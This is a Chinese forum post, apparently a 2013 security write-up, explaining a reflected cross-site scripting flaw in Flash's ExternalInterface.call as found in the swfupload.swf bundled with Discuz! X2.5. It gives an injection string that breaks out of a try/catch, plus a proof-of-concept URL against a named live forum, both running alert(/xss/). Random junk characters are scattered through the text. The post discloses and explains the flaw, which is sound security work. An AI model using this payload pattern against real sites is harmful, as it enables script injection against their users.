找回密码
 立即注册
查看: 2926|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说; o! {. M6 }$ ?9 ]' V/ \1 B

2 y0 h1 z7 G5 f0 q/ r+ o- ?flash.external.ExternalInterface.call($methodName, $parameter)
7 W( t; `# R) Q7 f# m在浏览器中执行的是
* Y; ~/ j$ C+ q" X! U: Z( T! l+ h! h
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}* O, `3 X6 K# \
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如8 [3 l* e  w% v& D
' K; \8 h0 [* t
flash.external.ExternalInterface.call("object."+$methodName, $parameter), \" V: _- _7 F
$methodName = a())}catch(e){alert(/xss/)}//7 n. S6 m, p7 y, w1 S+ @! n' u# D
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
5 U- j$ b' T: u; r
$ ^8 Z' H7 f& e- y! |8 z0 itry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
+ @- W; z8 {, \& F) {
9 Q3 |- Q7 T6 P+ S0 P这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
' u8 @$ Y/ ?  u, [: j: z9 ]) r杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
& t* V% _) C+ @& O; E& ^/ a5 b/ r; D* p5 W; N! ^& \; n

+ {; O& i" T3 M. o. g- _6 T; Q" L6 i( R) @8 |+ v
漏洞文件:upload\static\image\common\swfupload.swf1 h1 {, f# K( h( ^# j1 w
. I& j* ?- |3 Z' Z; y0 i
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
  B2 F) n) \6 r) v" G7 U; F- m4 r- C. b" T; O

: M. }. z% |5 C漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//8 c9 j. J! c+ y- [

$ Q* u7 n) ^" n, I* b1 E' D9 n6 o" g( l, k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表